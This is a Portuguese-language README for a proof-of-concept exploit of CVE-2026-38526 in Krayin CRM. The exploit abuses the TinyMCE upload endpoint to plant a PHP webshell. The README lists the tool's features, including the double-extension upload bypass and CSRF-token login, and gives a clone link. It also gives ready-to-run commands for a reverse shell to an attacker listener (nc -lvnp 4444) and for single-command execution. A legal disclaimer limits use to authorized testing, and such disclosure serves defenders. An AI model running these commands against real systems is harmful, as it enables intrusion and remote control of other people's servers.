CVE-2026-38526 - Exploração de RCE no Krayin CRM

Krayin CRM (≤ 2.2.x) - Upload de arquivo irrestrito levando à Execução Remota de Código.

Este PoC explora o endpoint vulnerável de upload do TinyMCE (/admin/tinymce/upload) para enviar um webshell PHP e obter execução de comandos no servidor.

Recursos

• Login automático completo com manipulação de token CSRF
• Ignora restrições de upload usando extensão dupla
• Suporta reverse shell e execução de comando único
• Atualização confiável de token CSRF do Laravel
• Limpo e fácil de usar

Download

git clone https://github.com/pawpic/CVE-2026-38526-POC

Requisitos

pip3 install requests beautifulsoup4

Uso

1. Reverse Shell (Padrão e Recomendado)

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  --lhost YOUR_IP \
  --lport 4444

2. Comando Único

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  -c "whoami"

Opções

Exemplo de Fluxo de Trabalho

Iniciar listener:

nc -lvnp 4444

Executar o exploit:

python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR

Aviso Legal

Este exploit é destinado apenas para fins educacionais e testes de penetração autorizados. O uso não autorizado contra sistemas para os quais você não tem permissão explícita para testar é ilegal.

Versões Afetadas

Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526

Autor: pawpic Data: 2026